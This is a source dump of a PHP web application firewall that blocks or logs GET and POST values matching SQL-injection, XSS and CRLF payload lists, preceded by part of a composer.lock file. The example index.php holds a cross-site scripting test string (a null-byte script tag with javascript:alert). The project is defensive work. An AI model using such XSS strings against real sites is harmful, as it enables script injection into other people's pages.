775 | "url": "https://api.github.com/repos/sebastianbergmann/code-unit-reverse-lookup/zipball/4419fcdb5eabb9caa61a27c7a1db532a6b55dd18", 776 | "reference": "4419fcdb5eabb9caa61a27c7a1db532a6b55dd18", 777 | "shasum": "" 778 | }, 779 | "require": { 780 | "php": "^5.6 || ^7.0" 781 | }, 782 | "require-dev": { 783 | "phpunit/phpunit": "^5.7 || ^6.0" 784 | }, 785 | "type": "library", 786 | "extra": { 787 | "branch-alias": { 788 | "dev-master": "1.0.x-dev" 789 | } 790 | }, 791 | "autoload": { 792 | "classmap": [ 793 | "src/" 794 | ] 795 | }, 796 | "notification-url": "https://packagist.org/downloads/", 797 | "license": [ 798 | "BSD-3-Clause" 799 | ], 800 | "authors": [ 801 | { 802 | "name": "Sebastian Bergmann", 803 | "email": "sebastian@phpunit.de" 804 | } 805 | ], 806 | "description": "Looks up which function or method a line of code belongs to", 807 | "homepage": "https://github.com/sebastianbergmann/code-unit-reverse-lookup/", 808 | "time": "2017-03-04T06:30:41+00:00" 809 | }, 810 | { 811 | "name": "sebastian/comparator", 812 | "version": "3.0.2", 813 | "source": { 814 | "type": "git", 815 | "url": "https://github.com/sebastianbergmann/comparator.git", 816 | "reference": "5de4fc177adf9bce8df98d8d141a7559d7ccf6da" 817 | }, 818 | "dist": { 819 | "type": "zip", 820 | "url": "https://api.github.com/repos/sebastianbergmann/comparator/zipball/5de4fc177adf9bce8df98d8d141a7559d7ccf6da", 821 | "reference": "5de4fc177adf9bce8df98d8d141a7559d7ccf6da", 822 | "shasum": "" 823 | }, 824 | "require": { 825 | "php": "^7.1", 826 | "sebastian/diff": "^3.0", 827 | "sebastian/exporter": "^3.1" 828 | }, 829 | "require-dev": { 830 | "phpunit/phpunit": "^7.1" 831 | }, 832 | "type": "library", 833 | "extra": { 834 | "branch-alias": { 835 | "dev-master": "3.0-dev" 836 | } 837 | }, 838 | "autoload": { 839 | "classmap": [ 840 | "src/" 841 | ] 842 | }, 843 | "notification-url": "https://packagist.org/downloads/", 844 | "license": [ 845 | "BSD-3-Clause" 846 | ], 847 | "authors": [ 848 | { 849 | "name": "Jeff Welch", 850 | "email": "whatthejeff@gmail.com" 851 | }, 852 | { 853 | "name": "Volker Dusch", 854 | "email": "github@wallbash.com" 855 | }, 856 | { 857 | "name": "Bernhard Schussek", 858 | "email": "bschussek@2bepublished.at" 859 | }, 860 | { 861 | "name": "Sebastian Bergmann", 862 | "email": "sebastian@phpunit.de" 863 | } 864 | ], 865 | "description": "Provides the functionality to compare PHP values for equality", 866 | "homepage": "https://github.com/sebastianbergmann/comparator", 867 | "keywords": [ 868 | "comparator", 869 | "compare", 870 | "equality" 871 | ], 872 | "time": "2018-07-12T15:12:46+00:00" 873 | }, 874 | { 875 | "name": "sebastian/diff", 876 | "version": "3.0.2", 877 | "source": { 878 | "type": "git", 879 | "url": "https://github.com/sebastianbergmann/diff.git", 880 | "reference": "720fcc7e9b5cf384ea68d9d930d480907a0c1a29" 881 | }, 882 | "dist": { 883 | "type": "zip", 884 | "url": "https://api.github.com/repos/sebastianbergmann/diff/zipball/720fcc7e9b5cf384ea68d9d930d480907a0c1a29", 885 | "reference": "720fcc7e9b5cf384ea68d9d930d480907a0c1a29", 886 | "shasum": "" 887 | }, 888 | "require": { 889 | "php": "^7.1" 890 | }, 891 | "require-dev": { 892 | "phpunit/phpunit": "^7.5 || ^8.0", 893 | "symfony/process": "^2 || ^3.3 || ^4" 894 | }, 895 | "type": "library", 896 | "extra": { 897 | "branch-alias": { 898 | "dev-master": "3.0-dev" 899 | } 900 | }, 901 | "autoload": { 902 | "classmap": [ 903 | "src/" 904 | ] 905 | }, 906 | "notification-url": "https://packagist.org/downloads/", 907 | "license": [ 908 | "BSD-3-Clause" 909 | ], 910 | "authors": [ 911 | { 912 | "name": "Kore Nordmann", 913 | "email": "mail@kore-nordmann.de" 914 | }, 915 | { 916 | "name": "Sebastian Bergmann", 917 | "email": "sebastian@phpunit.de" 918 | } 919 | ], 920 | "description": "Diff implementation", 921 | "homepage": "https://github.com/sebastianbergmann/diff", 922 | "keywords": [ 923 | "diff", 924 | "udiff", 925 | "unidiff", 926 | "unified diff" 927 | ], 928 | "time": "2019-02-04T06:01:07+00:00" 929 | }, 930 | { 931 | "name": "sebastian/environment", 932 | "version": "4.2.2", 933 | "source": { 934 | "type": "git", 935 | "url": "https://github.com/sebastianbergmann/environment.git", 936 | "reference": "f2a2c8e1c97c11ace607a7a667d73d47c19fe404" 937 | }, 938 | "dist": { 939 | "type": "zip", 940 | "url": "https://api.github.com/repos/sebastianbergmann/environment/zipball/f2a2c8e1c97c11ace607a7a667d73d47c19fe404", 941 | "reference": "f2a2c8e1c97c11ace607a7a667d73d47c19fe404", 942 | "shasum": "" 943 | }, 944 | "require": { 945 | "php": "^7.1" 946 | }, 947 | "require-dev": { 948 | "phpunit/phpunit": "^7.5" 949 | }, 950 | "suggest": { 951 | "ext-posix": "*" 952 | }, 953 | "type": "library", 954 | "extra": { 955 | "branch-alias": { 956 | "dev-master": "4.2-dev" 957 | } 958 | }, 959 | "autoload": { 960 | "classmap": [ 961 | "src/" 962 | ] 963 | }, 964 | "notification-url": "https://packagist.org/downloads/", 965 | "license": [ 966 | "BSD-3-Clause" 967 | ], 968 | "authors": [ 969 | { 970 | "name": "Sebastian Bergmann", 971 | "email": "sebastian@phpunit.de" 972 | } 973 | ], 974 | "description": "Provides functionality to handle HHVM/PHP environments", 975 | "homepage": "http://www.github.com/sebastianbergmann/environment", 976 | "keywords": [ 977 | "Xdebug", 978 | "environment", 979 | "hhvm" 980 | ], 981 | "time": "2019-05-05T09:05:15+00:00" 982 | }, 983 | { 984 | "name": "sebastian/exporter", 985 | "version": "3.1.0", 986 | "source": { 987 | "type": "git", 988 | "url": "https://github.com/sebastianbergmann/exporter.git", 989 | "reference": "234199f4528de6d12aaa58b612e98f7d36adb937" 990 | }, 991 | "dist": { 992 | "type": "zip", 993 | "url": "https://api.github.com/repos/sebastianbergmann/exporter/zipball/234199f4528de6d12aaa58b612e98f7d36adb937", 994 | "reference": "234199f4528de6d12aaa58b612e98f7d36adb937", 995 | "shasum": "" 996 | }, 997 | "require": { 998 | "php": "^7.0", 999 | "sebastian/recursion-context": "^3.0" 1000 | }, 1001 | "require-dev": { 1002 | "ext-mbstring": "*", 1003 | "phpunit/phpunit": "^6.0" 1004 | }, 1005 | "type": "library", 1006 | "extra": { 1007 | "branch-alias": { 1008 | "dev-master": "3.1.x-dev" 1009 | } 1010 | }, 1011 | "autoload": { 1012 | "classmap": [ 1013 | "src/" 1014 | ] 1015 | }, 1016 | "notification-url": "https://packagist.org/downloads/", 1017 | "license": [ 1018 | "BSD-3-Clause" 1019 | ], 1020 | "authors": [ 1021 | { 1022 | "name": "Jeff Welch", 1023 | "email": "whatthejeff@gmail.com" 1024 | }, 1025 | { 1026 | "name": "Volker Dusch", 1027 | "email": "github@wallbash.com" 1028 | }, 1029 | { 1030 | "name": "Bernhard Schussek", 1031 | "email": "bschussek@2bepublished.at" 1032 | }, 1033 | { 1034 | "name": "Sebastian Bergmann", 1035 | "email": "sebastian@phpunit.de" 1036 | }, 1037 | { 1038 | "name": "Adam Harvey", 1039 | "email": "aharvey@php.net" 1040 | } 1041 | ], 1042 | "description": "Provides the functionality to export PHP variables for visualization", 1043 | "homepage": "http://www.github.com/sebastianbergmann/exporter", 1044 | "keywords": [ 1045 | "export", 1046 | "exporter" 1047 | ], 1048 | "time": "2017-04-03T13:19:02+00:00" 1049 | }, 1050 | { 1051 | "name": "sebastian/global-state", 1052 | "version": "3.0.0", 1053 | "source": { 1054 | "type": "git", 1055 | "url": "https://github.com/sebastianbergmann/global-state.git", 1056 | "reference": "edf8a461cf1d4005f19fb0b6b8b95a9f7fa0adc4" 1057 | }, 1058 | "dist": { 1059 | "type": "zip", 1060 | "url": "https://api.github.com/repos/sebastianbergmann/global-state/zipball/edf8a461cf1d4005f19fb0b6b8b95a9f7fa0adc4", 1061 | "reference": "edf8a461cf1d4005f19fb0b6b8b95a9f7fa0adc4", 1062 | "shasum": "" 1063 | }, 1064 | "require": { 1065 | "php": "^7.2", 1066 | "sebastian/object-reflector": "^1.1.1", 1067 | "sebastian/recursion-context": "^3.0" 1068 | }, 1069 | "require-dev": { 1070 | "ext-dom": "*", 1071 | "phpunit/phpunit": "^8.0" 1072 | }, 1073 | "suggest": { 1074 | "ext-uopz": "*" 1075 | }, 1076 | "type": "library", 1077 | "extra": { 1078 | "branch-alias": { 1079 | "dev-master": "3.0-dev" 1080 | } 1081 | }, 1082 | "autoload": { 1083 | "classmap": [ 1084 | "src/" 1085 | ] 1086 | }, 1087 | "notification-url": "https://packagist.org/downloads/", 1088 | "license": [ 1089 | "BSD-3-Clause" 1090 | ], 1091 | "authors": [ 1092 | { 1093 | "name": "Sebastian Bergmann", 1094 | "email": "sebastian@phpunit.de" 1095 | } 1096 | ], 1097 | "description": "Snapshotting of global state", 1098 | "homepage": "http://www.github.com/sebastianbergmann/global-state", 1099 | "keywords": [ 1100 | "global state" 1101 | ], 1102 | "time": "2019-02-01T05:30:01+00:00" 1103 | }, 1104 | { 1105 | "name": "sebastian/object-enumerator", 1106 | "version": "3.0.3", 1107 | "source": { 1108 | "type": "git", 1109 | "url": "https://github.com/sebastianbergmann/object-enumerator.git", 1110 | "reference": "7cfd9e65d11ffb5af41198476395774d4c8a84c5" 1111 | }, 1112 | "dist": { 1113 | "type": "zip", 1114 | "url": "https://api.github.com/repos/sebastianbergmann/object-enumerator/zipball/7cfd9e65d11ffb5af41198476395774d4c8a84c5", 1115 | "reference": "7cfd9e65d11ffb5af41198476395774d4c8a84c5", 1116 | "shasum": "" 1117 | }, 1118 | "require": { 1119 | "php": "^7.0", 1120 | "sebastian/object-reflector": "^1.1.1", 1121 | "sebastian/recursion-context": "^3.0" 1122 | }, 1123 | "require-dev": { 1124 | "phpunit/phpunit": "^6.0" 1125 | }, 1126 | "type": "library", 1127 | "extra": { 1128 | "branch-alias": { 1129 | "dev-master": "3.0.x-dev" 1130 | } 1131 | }, 1132 | "autoload": { 1133 | "classmap": [ 1134 | "src/" 1135 | ] 1136 | }, 1137 | "notification-url": "https://packagist.org/downloads/", 1138 | "license": [ 1139 | "BSD-3-Clause" 1140 | ], 1141 | "authors": [ 1142 | { 1143 | "name": "Sebastian Bergmann", 1144 | "email": "sebastian@phpunit.de" 1145 | } 1146 | ], 1147 | "description": "Traverses array structures and object graphs to enumerate all referenced objects", 1148 | "homepage": "https://github.com/sebastianbergmann/object-enumerator/", 1149 | "time": "2017-08-03T12:35:26+00:00" 1150 | }, 1151 | { 1152 | "name": "sebastian/object-reflector", 1153 | "version": "1.1.1", 1154 | "source": { 1155 | "type": "git", 1156 | "url": "https://github.com/sebastianbergmann/object-reflector.git", 1157 | "reference": "773f97c67f28de00d397be301821b06708fca0be" 1158 | }, 1159 | "dist": { 1160 | "type": "zip", 1161 | "url": "https://api.github.com/repos/sebastianbergmann/object-reflector/zipball/773f97c67f28de00d397be301821b06708fca0be", 1162 | "reference": "773f97c67f28de00d397be301821b06708fca0be", 1163 | "shasum": "" 1164 | }, 1165 | "require": { 1166 | "php": "^7.0" 1167 | }, 1168 | "require-dev": { 1169 | "phpunit/phpunit": "^6.0" 1170 | }, 1171 | "type": "library", 1172 | "extra": { 1173 | "branch-alias": { 1174 | "dev-master": "1.1-dev" 1175 | } 1176 | }, 1177 | "autoload": { 1178 | "classmap": [ 1179 | "src/" 1180 | ] 1181 | }, 1182 | "notification-url": "https://packagist.org/downloads/", 1183 | "license": [ 1184 | "BSD-3-Clause" 1185 | ], 1186 | "authors": [ 1187 | { 1188 | "name": "Sebastian Bergmann", 1189 | "email": "sebastian@phpunit.de" 1190 | } 1191 | ], 1192 | "description": "Allows reflection of object attributes, including inherited and non-public ones", 1193 | "homepage": "https://github.com/sebastianbergmann/object-reflector/", 1194 | "time": "2017-03-29T09:07:27+00:00" 1195 | }, 1196 | { 1197 | "name": "sebastian/recursion-context", 1198 | "version": "3.0.0", 1199 | "source": { 1200 | "type": "git", 1201 | "url": "https://github.com/sebastianbergmann/recursion-context.git", 1202 | "reference": "5b0cd723502bac3b006cbf3dbf7a1e3fcefe4fa8" 1203 | }, 1204 | "dist": { 1205 | "type": "zip", 1206 | "url": "https://api.github.com/repos/sebastianbergmann/recursion-context/zipball/5b0cd723502bac3b006cbf3dbf7a1e3fcefe4fa8", 1207 | "reference": "5b0cd723502bac3b006cbf3dbf7a1e3fcefe4fa8", 1208 | "shasum": "" 1209 | }, 1210 | "require": { 1211 | "php": "^7.0" 1212 | }, 1213 | "require-dev": { 1214 | "phpunit/phpunit": "^6.0" 1215 | }, 1216 | "type": "library", 1217 | "extra": { 1218 | "branch-alias": { 1219 | "dev-master": "3.0.x-dev" 1220 | } 1221 | }, 1222 | "autoload": { 1223 | "classmap": [ 1224 | "src/" 1225 | ] 1226 | }, 1227 | "notification-url": "https://packagist.org/downloads/", 1228 | "license": [ 1229 | "BSD-3-Clause" 1230 | ], 1231 | "authors": [ 1232 | { 1233 | "name": "Jeff Welch", 1234 | "email": "whatthejeff@gmail.com" 1235 | }, 1236 | { 1237 | "name": "Sebastian Bergmann", 1238 | "email": "sebastian@phpunit.de" 1239 | }, 1240 | { 1241 | "name": "Adam Harvey", 1242 | "email": "aharvey@php.net" 1243 | } 1244 | ], 1245 | "description": "Provides functionality to recursively process PHP variables", 1246 | "homepage": "http://www.github.com/sebastianbergmann/recursion-context", 1247 | "time": "2017-03-03T06:23:57+00:00" 1248 | }, 1249 | { 1250 | "name": "sebastian/resource-operations", 1251 | "version": "2.0.1", 1252 | "source": { 1253 | "type": "git", 1254 | "url": "https://github.com/sebastianbergmann/resource-operations.git", 1255 | "reference": "4d7a795d35b889bf80a0cc04e08d77cedfa917a9" 1256 | }, 1257 | "dist": { 1258 | "type": "zip", 1259 | "url": "https://api.github.com/repos/sebastianbergmann/resource-operations/zipball/4d7a795d35b889bf80a0cc04e08d77cedfa917a9", 1260 | "reference": "4d7a795d35b889bf80a0cc04e08d77cedfa917a9", 1261 | "shasum": "" 1262 | }, 1263 | "require": { 1264 | "php": "^7.1" 1265 | }, 1266 | "type": "library", 1267 | "extra": { 1268 | "branch-alias": { 1269 | "dev-master": "2.0-dev" 1270 | } 1271 | }, 1272 | "autoload": { 1273 | "classmap": [ 1274 | "src/" 1275 | ] 1276 | }, 1277 | "notification-url": "https://packagist.org/downloads/", 1278 | "license": [ 1279 | "BSD-3-Clause" 1280 | ], 1281 | "authors": [ 1282 | { 1283 | "name": "Sebastian Bergmann", 1284 | "email": "sebastian@phpunit.de" 1285 | } 1286 | ], 1287 | "description": "Provides a list of PHP built-in functions that operate on resources", 1288 | "homepage": "https://www.github.com/sebastianbergmann/resource-operations", 1289 | "time": "2018-10-04T04:07:39+00:00" 1290 | }, 1291 | { 1292 | "name": "sebastian/version", 1293 | "version": "2.0.1", 1294 | "source": { 1295 | "type": "git", 1296 | "url": "https://github.com/sebastianbergmann/version.git", 1297 | "reference": "99732be0ddb3361e16ad77b68ba41efc8e979019" 1298 | }, 1299 | "dist": { 1300 | "type": "zip", 1301 | "url": "https://api.github.com/repos/sebastianbergmann/version/zipball/99732be0ddb3361e16ad77b68ba41efc8e979019", 1302 | "reference": "99732be0ddb3361e16ad77b68ba41efc8e979019", 1303 | "shasum": "" 1304 | }, 1305 | "require": { 1306 | "php": ">=5.6" 1307 | }, 1308 | "type": "library", 1309 | "extra": { 1310 | "branch-alias": { 1311 | "dev-master": "2.0.x-dev" 1312 | } 1313 | }, 1314 | "autoload": { 1315 | "classmap": [ 1316 | "src/" 1317 | ] 1318 | }, 1319 | "notification-url": "https://packagist.org/downloads/", 1320 | "license": [ 1321 | "BSD-3-Clause" 1322 | ], 1323 | "authors": [ 1324 | { 1325 | "name": "Sebastian Bergmann", 1326 | "email": "sebastian@phpunit.de", 1327 | "role": "lead" 1328 | } 1329 | ], 1330 | "description": "Library that helps with managing the version number of Git-hosted PHP projects", 1331 | "homepage": "https://github.com/sebastianbergmann/version", 1332 | "time": "2016-10-03T07:35:21+00:00" 1333 | }, 1334 | { 1335 | "name": "symfony/polyfill-ctype", 1336 | "version": "v1.11.0", 1337 | "source": { 1338 | "type": "git", 1339 | "url": "https://github.com/symfony/polyfill-ctype.git", 1340 | "reference": "82ebae02209c21113908c229e9883c419720738a" 1341 | }, 1342 | "dist": { 1343 | "type": "zip", 1344 | "url": "https://api.github.com/repos/symfony/polyfill-ctype/zipball/82ebae02209c21113908c229e9883c419720738a", 1345 | "reference": "82ebae02209c21113908c229e9883c419720738a", 1346 | "shasum": "" 1347 | }, 1348 | "require": { 1349 | "php": ">=5.3.3" 1350 | }, 1351 | "suggest": { 1352 | "ext-ctype": "For best performance" 1353 | }, 1354 | "type": "library", 1355 | "extra": { 1356 | "branch-alias": { 1357 | "dev-master": "1.11-dev" 1358 | } 1359 | }, 1360 | "autoload": { 1361 | "psr-4": { 1362 | "Symfony\\Polyfill\\Ctype\\": "" 1363 | }, 1364 | "files": [ 1365 | "bootstrap.php" 1366 | ] 1367 | }, 1368 | "notification-url": "https://packagist.org/downloads/", 1369 | "license": [ 1370 | "MIT" 1371 | ], 1372 | "authors": [ 1373 | { 1374 | "name": "Symfony Community", 1375 | "homepage": "https://symfony.com/contributors" 1376 | }, 1377 | { 1378 | "name": "Gert de Pagter", 1379 | "email": "BackEndTea@gmail.com" 1380 | } 1381 | ], 1382 | "description": "Symfony polyfill for ctype functions", 1383 | "homepage": "https://symfony.com", 1384 | "keywords": [ 1385 | "compatibility", 1386 | "ctype", 1387 | "polyfill", 1388 | "portable" 1389 | ], 1390 | "time": "2019-02-06T07:57:58+00:00" 1391 | }, 1392 | { 1393 | "name": "theseer/tokenizer", 1394 | "version": "1.1.3", 1395 | "source": { 1396 | "type": "git", 1397 | "url": "https://github.com/theseer/tokenizer.git", 1398 | "reference": "11336f6f84e16a720dae9d8e6ed5019efa85a0f9" 1399 | }, 1400 | "dist": { 1401 | "type": "zip", 1402 | "url": "https://api.github.com/repos/theseer/tokenizer/zipball/11336f6f84e16a720dae9d8e6ed5019efa85a0f9", 1403 | "reference": "11336f6f84e16a720dae9d8e6ed5019efa85a0f9", 1404 | "shasum": "" 1405 | }, 1406 | "require": { 1407 | "ext-dom": "*", 1408 | "ext-tokenizer": "*", 1409 | "ext-xmlwriter": "*", 1410 | "php": "^7.0" 1411 | }, 1412 | "type": "library", 1413 | "autoload": { 1414 | "classmap": [ 1415 | "src/" 1416 | ] 1417 | }, 1418 | "notification-url": "https://packagist.org/downloads/", 1419 | "license": [ 1420 | "BSD-3-Clause" 1421 | ], 1422 | "authors": [ 1423 | { 1424 | "name": "Arne Blankerts", 1425 | "email": "arne@blankerts.de", 1426 | "role": "Developer" 1427 | } 1428 | ], 1429 | "description": "A small library for converting tokenized PHP source code into XML and potentially other formats", 1430 | "time": "2019-06-13T22:48:21+00:00" 1431 | }, 1432 | { 1433 | "name": "webmozart/assert", 1434 | "version": "1.4.0", 1435 | "source": { 1436 | "type": "git", 1437 | "url": "https://github.com/webmozart/assert.git", 1438 | "reference": "83e253c8e0be5b0257b881e1827274667c5c17a9" 1439 | }, 1440 | "dist": { 1441 | "type": "zip", 1442 | "url": "https://api.github.com/repos/webmozart/assert/zipball/83e253c8e0be5b0257b881e1827274667c5c17a9", 1443 | "reference": "83e253c8e0be5b0257b881e1827274667c5c17a9", 1444 | "shasum": "" 1445 | }, 1446 | "require": { 1447 | "php": "^5.3.3 || ^7.0", 1448 | "symfony/polyfill-ctype": "^1.8" 1449 | }, 1450 | "require-dev": { 1451 | "phpunit/phpunit": "^4.6", 1452 | "sebastian/version": "^1.0.1" 1453 | }, 1454 | "type": "library", 1455 | "extra": { 1456 | "branch-alias": { 1457 | "dev-master": "1.3-dev" 1458 | } 1459 | }, 1460 | "autoload": { 1461 | "psr-4": { 1462 | "Webmozart\\Assert\\": "src/" 1463 | } 1464 | }, 1465 | "notification-url": "https://packagist.org/downloads/", 1466 | "license": [ 1467 | "MIT" 1468 | ], 1469 | "authors": [ 1470 | { 1471 | "name": "Bernhard Schussek", 1472 | "email": "bschussek@gmail.com" 1473 | } 1474 | ], 1475 | "description": "Assertions to validate method input/output with nice error messages.", 1476 | "keywords": [ 1477 | "assert", 1478 | "check", 1479 | "validate" 1480 | ], 1481 | "time": "2018-12-25T11:19:39+00:00" 1482 | } 1483 | ], 1484 | "aliases": [], 1485 | "minimum-stability": "stable", 1486 | "stability-flags": [], 1487 | "prefer-stable": false, 1488 | "prefer-lowest": false, 1489 | "platform": { 1490 | "php": ">=7.0" 1491 | }, 1492 | "platform-dev": [] 1493 | } 1494 | -------------------------------------------------------------------------------- /examples/.htaccess: -------------------------------------------------------------------------------- 1 | php_value auto_prepend_file "waf.php" 2 | 3 | 4 | Header set X-XSS-Protection "1; mode=block" 5 | 6 | 7 | 8 | RewriteEngine On 9 | 10 | RewriteCond %{REQUEST_FILENAME} !-d 11 | RewriteCond %{REQUEST_FILENAME} !-f 12 | RewriteRule .* index.php [L,NC,QSA] 13 | 14 | -------------------------------------------------------------------------------- /examples/index.php: -------------------------------------------------------------------------------- 1 | <\x00script>javascript:alert(1) 11 | XSS; 12 | ?> 13 |

14 | 15 |
16 | 17 | 18 |
19 | 20 |
21 | 22 | 23 |
24 | -------------------------------------------------------------------------------- /examples/waf.php: -------------------------------------------------------------------------------- 1 | setLogFile('C:\Users\riverside\Documents\GitHub\php-waf\waf.log'); 5 | $waf->run(); -------------------------------------------------------------------------------- /phpunit.xml.dist: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | ./tests/ 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | -------------------------------------------------------------------------------- /src/AbstractFilter.php: -------------------------------------------------------------------------------- 1 | payloads_file; 33 | if (is_file($filename) && ($payloads = file($filename)) !== false) 34 | { 35 | $this->payloads = $payloads; 36 | } 37 | } 38 | 39 | /** 40 | * Check given string 41 | * 42 | * @param string $value 43 | * @return bool 44 | */ 45 | abstract public function safe(string $value): bool; 46 | } 47 | -------------------------------------------------------------------------------- /src/Exception.php: -------------------------------------------------------------------------------- 1 | payloads as $payload) 31 | { 32 | $payload = trim($payload); 33 | 34 | if (empty($payload) || strpos($payload, '#') === 0) 35 | { 36 | continue; 37 | } 38 | 39 | if ($payload == $value || stripos($value, $payload) !== false) 40 | { 41 | return false; 42 | } 43 | } 44 | 45 | return true; 46 | } 47 | } 48 | -------------------------------------------------------------------------------- /src/Filter/Sql.php: -------------------------------------------------------------------------------- 1 | payloads as $payload) 31 | { 32 | $payload = trim($payload); 33 | 34 | if (empty($payload) || strpos($payload, '#') === 0) 35 | { 36 | continue; 37 | } 38 | 39 | if ($payload == $value || stripos($value, $payload) !== false) 40 | { 41 | return false; 42 | } 43 | } 44 | 45 | return true; 46 | } 47 | } 48 | -------------------------------------------------------------------------------- /src/Filter/Xml.php: -------------------------------------------------------------------------------- 1 | payloads as $payload) 31 | { 32 | $payload = trim($payload); 33 | 34 | if (empty($payload)) 35 | { 36 | continue; 37 | } 38 | 39 | if ($payload == $value || stripos($value, $payload) !== false) 40 | { 41 | return false; 42 | } 43 | } 44 | 45 | return true; 46 | } 47 | } 48 | -------------------------------------------------------------------------------- /src/Firewall.php: -------------------------------------------------------------------------------- 1 | true, 40 | 'Xml' => false, 41 | 'Xss' => true, 42 | 'Crlf' => true, 43 | ]; 44 | 45 | /** 46 | * The mode in that firewall is running 47 | * 48 | * @var int Valid modes are: 1 - block & log; 2 - block only; 3 - log only 49 | */ 50 | protected $mode = self::MODE_LOG_AND_BLOCK; 51 | 52 | /** 53 | * The log file path 54 | * 55 | * @var string 56 | */ 57 | protected $log_file = 'waf.log'; 58 | 59 | /** 60 | * Log format 61 | * 62 | * %f - filter 63 | * %v - value 64 | * %i - ip address 65 | * %d - date 66 | * %t - time 67 | * %m - date & time 68 | * %u - unix time 69 | * 70 | * @var string 71 | */ 72 | protected $log_format = self::COMMON_LOG_FORMAT; 73 | 74 | /** 75 | * Firewall constructor. 76 | * 77 | * @param int $mode 78 | * @throws Exception 79 | */ 80 | public function __construct(int $mode=self::MODE_LOG_AND_BLOCK) 81 | { 82 | $this->setMode($mode); 83 | } 84 | 85 | /** 86 | * Send HTTP status code 400 to client 87 | */ 88 | public static function block() 89 | { 90 | http_response_code(400); 91 | exit; 92 | } 93 | 94 | /** 95 | * Write the detected to a log file 96 | * 97 | * @param string $value 98 | * @param string $filter 99 | * @return Firewall 100 | * @throws Exception 101 | */ 102 | public function log(string $value, string $filter): Firewall 103 | { 104 | if (empty($this->log_file)) 105 | { 106 | throw new Exception(Exception::ERROR_EMPTY_LOG_FILE, Exception::ERROR_EMPTY_LOG_FILE_CODE); 107 | } 108 | 109 | if (empty($this->log_format)) 110 | { 111 | throw new Exception(Exception::ERROR_EMPTY_LOG_FORMAT, Exception::ERROR_EMPTY_LOG_FORMAT_CODE); 112 | } 113 | 114 | $data = str_replace( 115 | ['%f', '%v', '%i', '%d', '%t', '%m', '%u'], 116 | [$filter, $value, $_SERVER['REMOTE_ADDR'], date('Y-m-d'), date('H:i:s'), 117 | date('Y-m-d H:i:s'), time()], 118 | $this->log_format); 119 | 120 | file_put_contents($this->log_file, "\nwarn $data", FILE_APPEND); 121 | 122 | return $this; 123 | } 124 | 125 | /** 126 | * Set log file path 127 | * 128 | * @param string $value 129 | * @return Firewall 130 | */ 131 | public function setLogFile(string $value): Firewall 132 | { 133 | $this->log_file = $value; 134 | 135 | return $this; 136 | } 137 | 138 | /** 139 | * Set log format 140 | * 141 | * @param string $value 142 | * @return Firewall 143 | */ 144 | public function setLogFormat(string $value): Firewall 145 | { 146 | $this->log_format = $value; 147 | 148 | return $this; 149 | } 150 | 151 | /** 152 | * Set mode 153 | * 154 | * @param int $value 155 | * @return Firewall 156 | * @throws Exception 157 | */ 158 | public function setMode(int $value): Firewall 159 | { 160 | if (!in_array($value, [self::MODE_LOG_AND_BLOCK, self::MODE_BLOCK, self::MODE_LOG])) 161 | { 162 | throw new Exception(Exception::ERROR_UNKNOWN_MODE, Exception::ERROR_UNKNOWN_MODE_CODE); 163 | } 164 | $this->mode = $value; 165 | 166 | return $this; 167 | } 168 | 169 | /** 170 | * Enable a given filter 171 | * 172 | * @param string $filter 173 | * @return Firewall 174 | * @throws Exception 175 | */ 176 | public function enable(string $filter): Firewall 177 | { 178 | if (!array_key_exists($filter, $this->filters)) 179 | { 180 | throw new Exception(Exception::ERROR_UNKNOWN_FILTER, Exception::ERROR_UNKNOWN_FILTER_CODE); 181 | } 182 | $this->filters[$filter] = true; 183 | 184 | return $this; 185 | } 186 | 187 | /** 188 | * Disable a given filter 189 | * 190 | * @param string $filter 191 | * @return Firewall 192 | * @throws Exception 193 | */ 194 | public function disable(string $filter): Firewall 195 | { 196 | if (!array_key_exists($filter, $this->filters)) 197 | { 198 | throw new Exception(Exception::ERROR_UNKNOWN_FILTER_CODE, Exception::ERROR_UNKNOWN_FILTER_CODE); 199 | } 200 | $this->filters[$filter] = false; 201 | 202 | return $this; 203 | } 204 | 205 | /** 206 | * Handles a detected attack accordingly current mode 207 | * 208 | * @param string $value 209 | * @param string $filter 210 | * @return Firewall 211 | * @throws Exception 212 | */ 213 | public function handle(string $value, string $filter): Firewall 214 | { 215 | if ($this->mode == self::MODE_LOG_AND_BLOCK) 216 | { 217 | // log & block 218 | $this->log($value, $filter); 219 | self::block(); 220 | } 221 | 222 | if ($this->mode == self::MODE_BLOCK) 223 | { 224 | // block only 225 | self::block(); 226 | } 227 | 228 | if ($this->mode == self::MODE_LOG) 229 | { 230 | // log only 231 | $this->log($value, $filter); 232 | } 233 | 234 | return $this; 235 | } 236 | 237 | /** 238 | * Get filter's instance 239 | * 240 | * @param string $filter 241 | * @return AbstractFilter 242 | * @throws Exception 243 | */ 244 | public function getFilterInstance(string $filter): AbstractFilter 245 | { 246 | if (!array_key_exists($filter, $this->getFilters())) 247 | { 248 | throw new Exception(Exception::ERROR_UNKNOWN_FILTER_CODE, Exception::ERROR_UNKNOWN_FILTER_CODE); 249 | } 250 | 251 | $class = "Riverside\\Waf\\Filter\\$filter"; 252 | 253 | return new $class; 254 | } 255 | 256 | /** 257 | * Runs a given filter 258 | * 259 | * @param string $filter 260 | * @return Firewall 261 | * @throws Exception 262 | */ 263 | public function runFilter(string $filter): Firewall 264 | { 265 | $instance = $this->getFilterInstance($filter); 266 | 267 | foreach ($_GET as $key => $val) 268 | { 269 | if (!$instance->safe($val)) 270 | { 271 | $this->handle($val, $filter); 272 | } 273 | } 274 | 275 | foreach ($_POST as $key => $val) 276 | { 277 | if (!$instance->safe($val)) 278 | { 279 | $this->handle($val, $filter); 280 | } 281 | } 282 | 283 | return $this; 284 | } 285 | 286 | /** 287 | * Runs all the enabled filters 288 | * 289 | * @return Firewall 290 | * @throws Exception 291 | */ 292 | public function run(): Firewall 293 | { 294 | foreach ($this->getFilters() as $filter => $enabled) 295 | { 296 | if (!$enabled) 297 | { 298 | continue; 299 | } 300 | $this->runFilter($filter); 301 | } 302 | 303 | return $this; 304 | } 305 | 306 | /** 307 | * Get list with filters 308 | * 309 | * @return array 310 | */ 311 | public function getFilters(): array 312 | { 313 | return $this->filters; 314 | } 315 | 316 | /** 317 | * Get filter's current state 318 | * 319 | * @param string $filter 320 | * @return bool 321 | * @throws Exception 322 | */ 323 | public function getFilter(string $filter): bool 324 | { 325 | if (!array_key_exists($filter, $this->filters)) 326 | { 327 | throw new Exception(Exception::ERROR_UNKNOWN_FILTER_CODE, Exception::ERROR_UNKNOWN_FILTER_CODE); 328 | } 329 | 330 | return $this->filters[$filter]; 331 | } 332 | } 333 | 